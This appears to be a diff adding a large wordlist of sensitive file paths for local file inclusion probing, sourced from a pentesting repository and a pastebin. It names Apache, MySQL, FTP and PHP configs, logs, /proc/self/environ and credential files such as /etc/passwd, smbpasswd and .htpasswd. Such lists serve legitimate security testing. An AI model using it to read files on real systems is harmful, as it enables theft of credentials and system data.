+/etc/sysconfig/network-scripts/ifcfg-eth0
+/etc/sysctl.conf
+/etc/sysctl.d/10-console-messages.conf
+/etc/sysctl.d/10-network-security.conf
+/etc/sysctl.d/10-process-security.conf
+/etc/sysctl.d/wine.sysctl.conf
+/etc/syslog.conf
+/etc/timezone
+/etc/tinyproxy/tinyproxy.conf
+/etc/tor/tor-tsocks.conf
+/etc/tsocks.conf
+/etc/updatedb.conf
+/etc/updatedb.conf.beforevmwaretoolsinstall
+/etc/utmp
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/vmware-tools/config
+/etc/vmware-tools/tpvmlp.conf
+/etc/vmware-tools/vmware-tools-libraries.conf
+/etc/vsftpd.chroot_list
+/etc/vsftpd.conf
+/etc/vsftpd/vsftpd.conf
+/etc/webmin/miniserv.conf
+/etc/webmin/miniserv.users
+/etc/wicd/dhclient.conf.template.default
+/etc/wicd/manager-settings.conf
+/etc/wicd/wired-settings.conf
+/etc/wicd/wireless-settings.conf
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/etc/x11/xorg.conf
+/etc/x11/xorg.conf-vesa
+/etc/x11/xorg.conf-vmware
+/etc/x11/xorg.conf.beforevmwaretoolsinstall
+/etc/x11/xorg.conf.orig
+/home/bin/stable/apache/php.ini
+/home/postgres/data/pg_hba.conf
+/home/postgres/data/pg_ident.conf
+/home/postgres/data/pg_version
+/home/postgres/data/postgresql.conf
+/home/user/lighttpd/lighttpd.conf
+/home2/bin/stable/apache/php.ini
+/http/httpd.conf
+/library/webserver/documents/.htaccess
+/library/webserver/documents/default.htm
+/library/webserver/documents/default.html
+/library/webserver/documents/default.php
+/library/webserver/documents/index.htm
+/library/webserver/documents/index.html
+/library/webserver/documents/index.php
+/logs/access.log
+/logs/access_log
+/logs/error.log
+/logs/error_log
+/logs/pure-ftpd.log
+/logs/security_debug_log
+/logs/security_log
+/mysql/bin/my.ini
+/mysql/data/mysql-bin.index
+/mysql/data/mysql-bin.log
+/mysql/data/mysql.err
+/mysql/data/mysql.log
+/mysql/my.cnf
+/mysql/my.ini
+/netserver/bin/stable/apache/php.ini
+/opt/jboss/server/default/conf/jboss-minimal.xml
+/opt/jboss/server/default/conf/jboss-service.xml
+/opt/jboss/server/default/conf/jndi.properties
+/opt/jboss/server/default/conf/log4j.xml
+/opt/jboss/server/default/conf/login-config.xml
+/opt/jboss/server/default/conf/server.log.properties
+/opt/jboss/server/default/conf/standardjaws.xml
+/opt/jboss/server/default/conf/standardjboss.xml
+/opt/jboss/server/default/deploy/jboss-logging.xml
+/opt/jboss/server/default/log/boot.log
+/opt/jboss/server/default/log/server.log
+/opt/apache/apache.conf
+/opt/apache/apache2.conf
+/opt/apache/conf/apache.conf
+/opt/apache/conf/apache2.conf
+/opt/apache/conf/httpd.conf
+/opt/apache2/apache.conf
+/opt/apache2/apache2.conf
+/opt/apache2/conf/apache.conf
+/opt/apache2/conf/apache2.conf
+/opt/apache2/conf/httpd.conf
+/opt/apache22/conf/httpd.conf
+/opt/httpd/apache.conf
+/opt/httpd/apache2.conf
+/opt/httpd/conf/apache.conf
+/opt/httpd/conf/apache2.conf
+/opt/lampp/etc/httpd.conf
+/opt/lampp/logs/access.log
+/opt/lampp/logs/access_log
+/opt/lampp/logs/error.log
+/opt/lampp/logs/error_log
+/opt/lsws/conf/httpd_conf.xml
+/opt/lsws/logs/access.log
+/opt/lsws/logs/error.log
+/opt/tomcat/logs/catalina.err
+/opt/tomcat/logs/catalina.out
+/opt/xampp/etc/php.ini
+/opt/xampp/logs/access.log
+/opt/xampp/logs/access_log
+/opt/xampp/logs/error.log
+/opt/xampp/logs/error_log
+/php/php.ini
+/php/php.ini
+/php4/php.ini
+/php5/php.ini
+/postgresql/log/pgadmin.log
+/private/etc/httpd/apache.conf
+/private/etc/httpd/apache2.conf
+/private/etc/httpd/httpd.conf
+/private/etc/httpd/httpd.conf.default
+/private/etc/squirrelmail/config/config.php
+/proc/cpuinfo
+/proc/devices
+/proc/meminfo
+/proc/net/tcp
+/proc/net/udp
+/proc/self/cmdline
+/proc/self/environ
+/proc/self/environ
+/proc/self/fd/0
+/proc/self/fd/1
+/proc/self/fd/10
+/proc/self/fd/11
+/proc/self/fd/12
+/proc/self/fd/13
+/proc/self/fd/14
+/proc/self/fd/15
+/proc/self/fd/2
+/proc/self/fd/3
+/proc/self/fd/4
+/proc/self/fd/5
+/proc/self/fd/6
+/proc/self/fd/7
+/proc/self/fd/8
+/proc/self/fd/9
+/proc/self/mounts
+/proc/self/stat
+/proc/self/status
+/proc/version
+/program files/jboss/server/default/conf/jboss-minimal.xml
+/program files/jboss/server/default/conf/jboss-service.xml
+/program files/jboss/server/default/conf/jndi.properties
+/program files/jboss/server/default/conf/log4j.xml
+/program files/jboss/server/default/conf/login-config.xml
+/program files/jboss/server/default/conf/server.log.properties
+/program files/jboss/server/default/conf/standardjaws.xml
+/program files/jboss/server/default/conf/standardjboss.xml
+/program files/jboss/server/default/deploy/jboss-logging.xml
+/program files/jboss/server/default/log/boot.log
+/program files/jboss/server/default/log/server.log
+/program files/apache group/apache/apache.conf
+/program files/apache group/apache/apache2.conf
+/program files/apache group/apache/conf/apache.conf
+/program files/apache group/apache/conf/apache2.conf
+/program files/apache group/apache/conf/httpd.conf
+/program files/apache group/apache/logs/access.log
+/program files/apache group/apache/logs/error.log
+/program files/apache group/apache2/conf/apache.conf
+/program files/apache group/apache2/conf/apache2.conf
+/program files/apache group/apache2/conf/httpd.conf
+/program files/apache software foundation/apache2.2/conf/httpd.conf
+/program files/apache software foundation/apache2.2/logs/access.log
+/program files/apache software foundation/apache2.2/logs/error.log
+/program files/mysql/data/mysql-bin.index
+/program files/mysql/data/mysql-bin.log
+/program files/mysql/data/mysql.err
+/program files/mysql/data/mysql.log
+/program files/mysql/my.cnf
+/program files/mysql/my.ini
+/program files/mysql/mysql server 5.0/data/mysql-bin.index
+/program files/mysql/mysql server 5.0/data/mysql-bin.log
+/program files/mysql/mysql server 5.0/data/mysql.err
+/program files/mysql/mysql server 5.0/data/mysql.log
+/program files/mysql/mysql server 5.0/my.cnf
+/program files/mysql/mysql server 5.0/my.ini
+/program files/postgresql/8.3/data/pg_hba.conf
+/program files/postgresql/8.3/data/pg_ident.conf
+/program files/postgresql/8.3/data/postgresql.conf
+/program files/postgresql/8.4/data/pg_hba.conf
+/program files/postgresql/8.4/data/pg_ident.conf
+/program files/postgresql/8.4/data/postgresql.conf
+/program files/postgresql/9.0/data/pg_hba.conf
+/program files/postgresql/9.0/data/pg_ident.conf
+/program files/postgresql/9.0/data/postgresql.conf
+/program files/postgresql/9.1/data/pg_hba.conf
+/program files/postgresql/9.1/data/pg_ident.conf
+/program files/postgresql/9.1/data/postgresql.conf
+/program files/vidalia bundle/polipo/polipo.conf
+/program files/xampp/apache/conf/apache.conf
+/program files/xampp/apache/conf/apache2.conf
+/program files/xampp/apache/conf/httpd.conf
+/root/.bash_config
+/root/.bash_history
+/root/.bash_logout
+/root/.bashrc
+/root/.ksh_history
+/root/.xauthority
+/srv/www/htdos/squirrelmail/config/config.php
+/ssl_request_log
+/system/library/webobjects/adaptors/apache2.2/apache.conf
+/temp/sess_
+/thttpd_log
+/tmp/jboss/server/default/conf/jboss-minimal.xml
+/tmp/jboss/server/default/conf/jboss-service.xml
+/tmp/jboss/server/default/conf/jndi.properties
+/tmp/jboss/server/default/conf/log4j.xml
+/tmp/jboss/server/default/conf/login-config.xml
+/tmp/jboss/server/default/conf/server.log.properties
+/tmp/jboss/server/default/conf/standardjaws.xml
+/tmp/jboss/server/default/conf/standardjboss.xml
+/tmp/jboss/server/default/deploy/jboss-logging.xml
+/tmp/jboss/server/default/log/boot.log
+/tmp/jboss/server/default/log/server.log
+/tmp/access.log
+/tmp/sess_
+/usr/apache/conf/httpd.conf
+/usr/apache2/conf/httpd.conf
+/usr/etc/pure-ftpd.conf
+/usr/home/user/lighttpd/lighttpd.conf
+/usr/home/user/var/log/apache.log
+/usr/home/user/var/log/lighttpd.error.log
+/usr/internet/pgsql/data/pg_hba.conf
+/usr/internet/pgsql/data/postmaster.log
+/usr/lib/cron/log
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/lib/security/mkuser.default
+/usr/local/jboss/server/default/conf/jboss-minimal.xml
+/usr/local/jboss/server/default/conf/jboss-service.xml
+/usr/local/jboss/server/default/conf/jndi.properties
+/usr/local/jboss/server/default/conf/log4j.xml
+/usr/local/jboss/server/default/conf/login-config.xml
+/usr/local/jboss/server/default/conf/server.log.properties
+/usr/local/jboss/server/default/conf/standardjaws.xml
+/usr/local/jboss/server/default/conf/standardjboss.xml
+/usr/local/jboss/server/default/deploy/jboss-logging.xml
+/usr/local/jboss/server/default/log/boot.log
+/usr/local/jboss/server/default/log/server.log
+/usr/local/apache/apache.conf
+/usr/local/apache/apache2.conf
+/usr/local/apache/conf/access.conf
+/usr/local/apache/conf/apache.conf
+/usr/local/apache/conf/apache2.conf
+/usr/local/apache/conf/httpd.conf
+/usr/local/apache/conf/httpd.conf.default
+/usr/local/apache/conf/modsec.conf
+/usr/local/apache/conf/php.ini
+/usr/local/apache/conf/vhosts-custom.conf
+/usr/local/apache/conf/vhosts.conf
+/usr/local/apache/httpd.conf
+/usr/local/apache/logs/access.log
+/usr/local/apache/logs/access_log
+/usr/local/apache/logs/audit_log
+/usr/local/apache/logs/error.log
+/usr/local/apache/logs/error_log
+/usr/local/apache/logs/lighttpd.error.log
+/usr/local/apache/logs/lighttpd.log
+/usr/local/apache/logs/mod_jk.log
+/usr/local/apache1.3/conf/httpd.conf
+/usr/local/apache2/apache.conf
+/usr/local/apache2/apache2.conf
+/usr/local/apache2/conf/apache.conf
+/usr/local/apache2/conf/apache2.conf
+/usr/local/apache2/conf/extra/httpd-ssl.conf
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache2/conf/modsec.conf
+/usr/local/apache2/conf/ssl.conf
+/usr/local/apache2/conf/vhosts-custom.conf
+/usr/local/apache2/conf/vhosts.conf
+/usr/local/apache2/httpd.conf
+/usr/local/apache2/logs/access.log
+/usr/local/apache2/logs/access_log
+/usr/local/apache2/logs/audit_log
+/usr/local/apache2/logs/error.log
+/usr/local/apache2/logs/error_log
+/usr/local/apache2/logs/lighttpd.error.log
+/usr/local/apache2/logs/lighttpd.log
+/usr/local/apache22/conf/httpd.conf
+/usr/local/apache22/httpd.conf
+/usr/local/apps/apache/conf/httpd.conf
+/usr/local/apps/apache2/conf/httpd.conf
+/usr/local/apps/apache22/conf/httpd.conf
+/usr/local/cpanel/logs/access_log
+/usr/local/cpanel/logs/error_log
+/usr/local/cpanel/logs/license_log
+/usr/local/cpanel/logs/login_log
+/usr/local/cpanel/logs/stats_log
+/usr/local/etc/apache/conf/httpd.conf
+/usr/local/etc/apache/httpd.conf
+/usr/local/etc/apache/vhosts.conf
+/usr/local/etc/apache2/conf/httpd.conf
+/usr/local/etc/apache2/httpd.conf
+/usr/local/etc/apache2/vhosts.conf
+/usr/local/etc/apache22/conf/httpd.conf
+/usr/local/etc/apache22/httpd.conf
+/usr/local/etc/httpd/conf
+/usr/local/etc/httpd/conf/httpd.conf
+/usr/local/etc/lighttpd.conf
+/usr/local/etc/lighttpd.conf.new
+/usr/local/etc/nginx/nginx.conf
+/usr/local/etc/php.ini
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/etc/smb.conf
+/usr/local/etc/webmin/miniserv.conf
+/usr/local/etc/webmin/miniserv.users
+/usr/local/httpd/conf/httpd.conf
+/usr/local/jakarta/dist/tomcat/conf/context.xml
+/usr/local/jakarta/dist/tomcat/conf/jakarta.conf
+/usr/local/jakarta/dist/tomcat/conf/logging.properties
+/usr/local/jakarta/dist/tomcat/conf/server.xml
+/usr/local/jakarta/dist/tomcat/conf/workers.properties
+/usr/local/jakarta/dist/tomcat/logs/mod_jk.log
+/usr/local/jakarta/tomcat/conf/context.xml
+/usr/local/jakarta/tomcat/conf/jakarta.conf
+/usr/local/jakarta/tomcat/conf/logging.properties
+/usr/local/jakarta/tomcat/conf/server.xml
+/usr/local/jakarta/tomcat/conf/workers.properties
+/usr/local/jakarta/tomcat/logs/catalina.err
+/usr/local/jakarta/tomcat/logs/catalina.out
+/usr/local/jakarta/tomcat/logs/mod_jk.log
+/usr/local/lib/php.ini
+/usr/local/lighttpd/conf/lighttpd.conf
+/usr/local/lighttpd/log/access.log
+/usr/local/lighttpd/log/lighttpd.error.log
+/usr/local/logs/access.log
+/usr/local/logs/samba.log
+/usr/local/lsws/conf/httpd_conf.xml
+/usr/local/lsws/logs/error.log
+/usr/local/mysql/data/mysql-bin.index
+/usr/local/mysql/data/mysql-bin.log
+/usr/local/mysql/data/mysql-slow.log
+/usr/local/mysql/data/mysql.err
+/usr/local/mysql/data/mysql.log
+/usr/local/mysql/data/mysqlderror.log
+/usr/local/nginx/conf/nginx.conf
+/usr/local/pgsql/bin/pg_passwd
+/usr/local/pgsql/data/passwd
+/usr/local/pgsql/data/pg_hba.conf
+/usr/local/pgsql/data/pg_log
+/usr/local/pgsql/data/postgresql.conf
+/usr/local/pgsql/data/postgresql.log
+/usr/local/php/apache.conf
+/usr/local/php/apache.conf.php
+/usr/local/php/apache2.conf
+/usr/local/php/apache2.conf.php
+/usr/local/php/httpd.conf
+/usr/local/php/httpd.conf.php
+/usr/local/php/lib/php.ini
+/usr/local/php4/apache.conf
+/usr/local/php4/apache.conf.php
+/usr/local/php4/apache2.conf
+/usr/local/php4/apache2.conf.php
+/usr/local/php4/httpd.conf
+/usr/local/php4/httpd.conf.php
+/usr/local/php4/lib/php.ini
+/usr/local/php5/apache.conf
+/usr/local/php5/apache.conf.php
+/usr/local/php5/apache2.conf
+/usr/local/php5/apache2.conf.php
+/usr/local/php5/httpd.conf
+/usr/local/php5/httpd.conf.php
+/usr/local/php5/lib/php.ini
+/usr/local/psa/admin/conf/php.ini
+/usr/local/psa/admin/conf/site_isolation_settings.ini
+/usr/local/psa/admin/htdocs/domains/databases/phpmyadmin/libraries/config.default.php
+/usr/local/psa/admin/logs/httpsd_access_log
+/usr/local/psa/admin/logs/panel.log
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/usr/local/pureftpd/etc/pureftpd.pdb
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/samba/lib/log.user
+/usr/local/samba/lib/smb.conf.user
+/usr/local/sb/config
+/usr/local/squirrelmail/www/readme
+/usr/local/zend/etc/php.ini
+/usr/local/zeus/web/global.cfg
+/usr/local/zeus/web/log/errors
+/usr/pkg/etc/httpd/httpd-default.conf
+/usr/pkg/etc/httpd/httpd-vhosts.conf
+/usr/pkg/etc/httpd/httpd.conf
+/usr/pkgsrc/net/pureftpd/pure-ftpd.conf
+/usr/pkgsrc/net/pureftpd/pureftpd.passwd
+/usr/pkgsrc/net/pureftpd/pureftpd.pdb
+/usr/ports/contrib/pure-ftpd/pure-ftpd.conf
+/usr/ports/contrib/pure-ftpd/pureftpd.passwd
+/usr/ports/contrib/pure-ftpd/pureftpd.pdb
+/usr/ports/ftp/pure-ftpd/pure-ftpd.conf
+/usr/ports/ftp/pure-ftpd/pureftpd.passwd
+/usr/ports/ftp/pure-ftpd/pureftpd.pdb
+/usr/ports/net/pure-ftpd/pure-ftpd.conf
+/usr/ports/net/pure-ftpd/pureftpd.passwd
+/usr/ports/net/pure-ftpd/pureftpd.pdb
+/usr/sbin/mudlogd
+/usr/sbin/mudpasswd
+/usr/sbin/pure-config.pl
+/usr/share/adduser/adduser.conf
+/usr/share/logs/catalina.err
+/usr/share/logs/catalina.out
+/usr/share/squirrelmail/config/config.php
+/usr/share/squirrelmail/plugins/squirrel_logger/setup.php
+/usr/share/tomcat/logs/catalina.err
+/usr/share/tomcat/logs/catalina.out
+/usr/share/tomcat6/conf/context.xml
+/usr/share/tomcat6/conf/logging.properties
+/usr/share/tomcat6/conf/server.xml
+/usr/share/tomcat6/conf/workers.properties
+/usr/share/tomcat6/logs/catalina.err
+/usr/share/tomcat6/logs/catalina.out
+/usr/spool/lp/log
+/usr/spool/mqueue/syslog
+/var/adm/acct/sum/loginlog
+/var/adm/aculog
+/var/adm/aculogs
+/var/adm/crash/unix
+/var/adm/crash/vmcore
+/var/adm/cron/log
+/var/adm/dtmp
+/var/adm/lastlog/username
+/var/adm/log/asppp.log
+/var/adm/log/xferlog
+/var/adm/loginlog
+/var/adm/lp/lpd-errs
+/var/adm/messages
+/var/adm/pacct
+/var/adm/qacct
+/var/adm/ras/bootlog
+/var/adm/ras/errlog
+/var/adm/sulog
+/var/adm/syslog
+/var/adm/utmp
+/var/adm/utmpx
+/var/adm/vold.log
+/var/adm/wtmp
+/var/adm/wtmpx
+/var/adm/x0msgs
+/var/apache/conf/httpd.conf
+/var/cpanel/cpanel.config
+/var/cpanel/tomcat.options
+/var/cron/log
+/var/data/mysql-bin.index
+/var/lib/mysql/my.cnf
+/var/lib/pgsql/data/postgresql.conf
+/var/lib/squirrelmail/prefs/squirrelmail.log
+/var/lighttpd.log
+/var/local/www/conf/php.ini
+/var/log/access.log
+/var/log/access_log
+/var/log/apache/access.log
+/var/log/apache/access_log
+/var/log/apache/error.log
+/var/log/apache/error_log
+/var/log/apache2/access.log
+/var/log/apache2/access_log
+/var/log/apache2/error.log
+/var/log/apache2/error_log
+/var/log/apache2/squirrelmail.err.log
+/var/log/apache2/squirrelmail.log
+/var/log/auth.log
+/var/log/auth.log
+/var/log/authlog
+/var/log/boot.log
+/var/log/cron/var/log/postgres.log
+/var/log/daemon.log
+/var/log/daemon.log.1
+/var/log/data/mysql-bin.index
+/var/log/error.log
+/var/log/error_log
+/var/log/exim/mainlog
+/var/log/exim/paniclog
+/var/log/exim/rejectlog
+/var/log/exim_mainlog
+/var/log/exim_paniclog
+/var/log/exim_rejectlog
+/var/log/ftp-proxy
+/var/log/ftp-proxy/ftp-proxy.log
+/var/log/ftplog
+/var/log/httpd/access.log
+/var/log/httpd/access_log
+/var/log/httpd/error.log
+/var/log/httpd/error_log
+/var/log/ipfw
+/var/log/ipfw.log
+/var/log/ipfw.today
+/var/log/ipfw/ipfw.log
+/var/log/kern.log
+/var/log/kern.log.1
+/var/log/lighttpd.access.log
+/var/log/lighttpd.error.log
+/var/log/lighttpd/access.log
+/var/log/lighttpd/access.www.log
+/var/log/lighttpd/error.log
+/var/log/lighttpd/error.www.log
+/var/log/log.smb
+/var/log/mail.err
+/var/log/mail.info
+/var/log/mail.log
+/var/log/mail.log
+/var/log/mail.warn
+/var/log/maillog
+/var/log/messages
+/var/log/messages.1
+/var/log/muddleftpd
+/var/log/muddleftpd.conf
+/var/log/mysql-bin.index
+/var/log/mysql.err
+/var/log/mysql.log
+/var/log/mysql/data/mysql-bin.index
+/var/log/mysql/mysql-bin.index
+/var/log/mysql/mysql-bin.log
+/var/log/mysql/mysql-slow.log
+/var/log/mysql/mysql.log
+/var/log/mysqlderror.log
+/var/log/news.all
+/var/log/news/news.all
+/var/log/news/news.crit
+/var/log/news/news.err
+/var/log/news/news.notice
+/var/log/news/suck.err
+/var/log/news/suck.notice
+/var/log/nginx.access_log
+/var/log/nginx.error_log
+/var/log/nginx/access.log
+/var/log/nginx/access_log
+/var/log/nginx/error.log
+/var/log/nginx/error_log
+/var/log/pgsql/pgsql.log
+/var/log/pgsql8.log
+/var/log/pgsql_log
+/var/log/pm-powersave.log
+/var/log/poplog
+/var/log/postgres/pg_backup.log
+/var/log/postgres/postgres.log
+/var/log/postgresql.log
+/var/log/postgresql/main.log
+/var/log/postgresql/postgres.log
+/var/log/postgresql/postgresql-8.1-main.log
+/var/log/postgresql/postgresql-8.3-main.log
+/var/log/postgresql/postgresql-8.4-main.log
+/var/log/postgresql/postgresql-9.0-main.log
+/var/log/postgresql/postgresql-9.1-main.log
+/var/log/postgresql/postgresql.log
+/var/log/proftpd
+/var/log/proftpd.access_log
+/var/log/proftpd.xferlog
+/var/log/proftpd/xferlog.legacy
+/var/log/pure-ftpd/pure-ftpd.log
+/var/log/pureftpd.log
+/var/log/samba.log
+/var/log/samba.log1
+/var/log/samba.log2
+/var/log/samba/log.nmbd
+/var/log/samba/log.smbd
+/var/log/squirrelmail.log
+/var/log/sso/sso.log
+/var/log/sw-cp-server/error_log
+/var/log/syslog
+/var/log/syslog.1
+/var/log/thttpd_log
+/var/log/tomcat6/catalina.out
+/var/log/ufw.log
+/var/log/user.log
+/var/log/user.log.1
+/var/log/vmware/hostd-1.log
+/var/log/vmware/hostd.log
+/var/log/vsftpd.log
+/var/log/webmin/miniserv.log
+/var/log/xferlog
+/var/log/xorg.0.log
+/var/logs/access.log
+/var/lp/logs/lpnet
+/var/lp/logs/lpsched
+/var/lp/logs/requests
+/var/mysql-bin.index
+/var/mysql.log
+/var/nm2/postgresql.conf
+/var/postgresql/db/postgresql.conf
+/var/postgresql/log/postgresql.log
+/var/saf/_log
+/var/saf/port/log
+/var/www/.lighttpdpassword
+/var/www/conf
+/var/www/conf/httpd.conf
+/var/www/html/squirrelmail-1.2.9/config/config.php
+/var/www/html/squirrelmail/config/config.php
+/var/www/logs/access.log
+/var/www/logs/access_log
+/var/www/logs/error.log
+/var/www/logs/error_log
+/var/www/squirrelmail/config/config.php
+/volumes/macintosh_hd1/opt/apache/conf/httpd.conf
+/volumes/macintosh_hd1/opt/apache2/conf/httpd.conf
+/volumes/macintosh_hd1/opt/httpd/conf/httpd.conf
+/volumes/macintosh_hd1/usr/local/php/httpd.conf.php
+/volumes/macintosh_hd1/usr/local/php/lib/php.ini
+/volumes/macintosh_hd1/usr/local/php4/httpd.conf.php
+/volumes/macintosh_hd1/usr/local/php5/httpd.conf.php
+/volumes/webbackup/opt/apache2/conf/httpd.conf
+/volumes/webbackup/private/etc/httpd/httpd.conf
+/volumes/webbackup/private/etc/httpd/httpd.conf.default
+/wamp/bin/apache/apache2.2.21/conf/httpd.conf
+/wamp/bin/apache/apache2.2.21/logs/access.log
+/wamp/bin/apache/apache2.2.21/logs/error.log
+/wamp/bin/apache/apache2.2.21/wampserver.conf
+/wamp/bin/apache/apache2.2.22/conf/httpd.conf
+/wamp/bin/apache/apache2.2.22/conf/wampserver.conf
+/wamp/bin/apache/apache2.2.22/logs/access.log
+/wamp/bin/apache/apache2.2.22/logs/error.log
+/wamp/bin/apache/apache2.2.22/wampserver.conf
+/wamp/bin/mysql/mysql5.5.16/data/mysql-bin.index
+/wamp/bin/mysql/mysql5.5.16/my.ini
+/wamp/bin/mysql/mysql5.5.16/wampserver.conf
+/wamp/bin/mysql/mysql5.5.24/data/mysql-bin.index
+/wamp/bin/mysql/mysql5.5.24/my.ini
+/wamp/bin/mysql/mysql5.5.24/wampserver.conf
+/wamp/bin/php/php5.3.8/php.ini
+/wamp/bin/php/php5.4.3/php.ini
+/wamp/logs/access.log
+/wamp/logs/apache_error.log
+/wamp/logs/genquery.log
+/wamp/logs/mysql.log
+/wamp/logs/slowquery.log
+/web/conf/php.ini
+/windows/comsetup.log
+/windows/debug/netsetup.log
+/windows/odbc.ini
+/windows/php.ini
+/windows/repair/setup.log
+/windows/setupact.log
+/windows/setupapi.log
+/windows/setuperr.log
+/windows/win.ini
+/windows/system32/drivers/etc/hosts
+/windows/system32/drivers/etc/lmhosts.sam
+/windows/system32/drivers/etc/networks
+/windows/system32/drivers/etc/protocol
+/windows/system32/drivers/etc/services
+/windows/system32/logfiles/firewall/pfirewall.log
+/windows/system32/logfiles/firewall/pfirewall.log.old
+/windows/system32/logfiles/msftpsvc
+/windows/system32/logfiles/msftpsvc1
+/windows/system32/logfiles/msftpsvc2
+/windows/system32/logfiles/smtpsvc
+/windows/system32/logfiles/smtpsvc1
+/windows/system32/logfiles/smtpsvc2
+/windows/system32/logfiles/smtpsvc3
+/windows/system32/logfiles/smtpsvc4
+/windows/system32/logfiles/smtpsvc5
+/windows/system32/logfiles/w3svc/inetsvn1.log
+/windows/system32/logfiles/w3svc1/inetsvn1.log
+/windows/system32/logfiles/w3svc2/inetsvn1.log
+/windows/system32/logfiles/w3svc3/inetsvn1.log
+/windows/system32/macromed/flash/flashinstall.log
+/windows/system32/macromed/flash/install.log
+/windows/updspapi.log
+/windows/windowsupdate.log
+/windows/wmsetup.log
+/winnt/php.ini
+/winnt/system32/logfiles/firewall/pfirewall.log
+/winnt/system32/logfiles/firewall/pfirewall.log.old
+/winnt/system32/logfiles/msftpsvc
+/winnt/system32/logfiles/msftpsvc1
+/winnt/system32/logfiles/msftpsvc2
+/winnt/system32/logfiles/smtpsvc
+/winnt/system32/logfiles/smtpsvc1
+/winnt/system32/logfiles/smtpsvc2
+/winnt/system32/logfiles/smtpsvc3
+/winnt/system32/logfiles/smtpsvc4
+/winnt/system32/logfiles/smtpsvc5
+/winnt/system32/logfiles/w3svc/inetsvn1.log
+/winnt/system32/logfiles/w3svc1/inetsvn1.log
+/winnt/system32/logfiles/w3svc2/inetsvn1.log
+/winnt/system32/logfiles/w3svc3/inetsvn1.log
+/www/apache/conf/httpd.conf
+/www/conf/httpd.conf
+/www/logs/freebsddiary-access_log
+/www/logs/freebsddiary-error.log
+/www/logs/proftpd.system.log
+/xampp/apache/bin/php.ini
+/xampp/apache/conf/httpd.conf
+/xampp/apache/logs/access.log
+/xampp/apache/logs/error.log
+/xampp/filezillaftp/filezilla server.xml
+/xampp/htdocs/aca.txt
+/xampp/htdocs/admin.php
+/xampp/htdocs/leer.txt
+/xampp/mercurymail/mercury.ini
+/xampp/mysql/data/mysql-bin.index
+/xampp/mysql/data/mysql.err
+/xampp/php/php.ini
+/xampp/phpmyadmin/config.inc.php
+/xampp/sendmail/sendmail.ini
+/xampp/sendmail/sendmail.log
+/xampp/webalizer/webalizer.conf
+\autoexec.bat
+\boot.ini
+\inetpub\wwwroot\web.config
+\web.config
+\windows\system32\drivers\etc\hosts
+\windows\win.ini
+
+# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
+
+/etc/apache2/.htpasswd
+/etc/apache/.htpasswd
+/etc/master.passwd
+/etc/muddleftpd/muddleftpd.passwd
+/etc/muddleftpd/passwd
+/etc/passwd
+/etc/passwd~
+/etc/passwd-
+/etc/pureftpd.passwd
+/etc/samba/private/smbpasswd
+/etc/samba/smbpasswd
+/etc/security/opasswd
+/etc/security/passwd
+/etc/smbpasswd
+\Program Files\xampp\apache\conf\httpd.conf
+/usr/local/pgsql/bin/pg_passwd
+/usr/local/pgsql/data/passwd
+/usr/pkgsrc/net/pureftpd/pureftpd.passwd
+/usr/ports/contrib/pure-ftpd/pureftpd.passwd
+/usr/ports/ftp/pure-ftpd/pureftpd.passwd
+/usr/ports/net/pure-ftpd/pureftpd.passwd
+/var/log/exim_rejectlog/etc/passwd
+/etc/mysql/conf.d/old_passwords.cnf
+/etc/password.master
+/var/www/.lighttpdpassword
+/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
+/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
+/Volumes/webBackup/opt/apache2/conf/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf.default
+
+# Reference: https://pastebin.com/KgPsDXjg
+
+/etc/passwd
+/etc/crontab
+/etc/hosts
+/etc/my.cnf
+/etc/.htpasswd
+/root/.bash_history
+/etc/named.conf
+/proc/self/environ
+/etc/php.ini
+/bin/php.ini
+/etc/httpd/php.ini
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/local/etc/php.ini
+/usr/local/lib/php.ini
+/usr/local/php/lib/php.ini
+/usr/local/php4/lib/php.ini
+/usr/local/php5/lib/php.ini
+/usr/local/apache/conf/php.ini
+/etc/php4.4/fcgi/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/apache2/php.ini
+/etc/php/7.4/apache2/php.ini
+/etc/php/php.ini
+/usr/local/apache/conf/modsec.conf
+/var/cpanel/cpanel.config
+/proc/self/environ
+/proc/self/fd/2
+/etc/ssh/sshd_config
+/var/lib/mysql/my.cnf
+/etc/mysql/my.cnf
+/etc/my.cnf
+/etc/logrotate.d/proftpd
+/www/logs/proftpd.system.log
+/var/log/proftpd
+/etc/proftp.conf
+/etc/protpd/proftpd.conf
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/proftpd/modules.conf
+/etc/vsftpd.chroot_list
+/etc/vsftpd/vsftpd.conf
+/etc/vsftpd.conf
+/etc/chrootUsers
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/usr/sbin/pure-config.pl
+/usr/etc/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.conf
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/pureftpd/etc/pureftpd.pdb
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/etc/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pureftpd.pdb
+/etc/pureftpd.passwd
+/etc/pure-ftpd/pureftpd.pdb
+/var/log/ftp-proxy
+/etc/logrotate.d/ftp
+/etc/ftpchroot
+/etc/ftphosts
+/etc/smbpasswd
+/etc/smb.conf
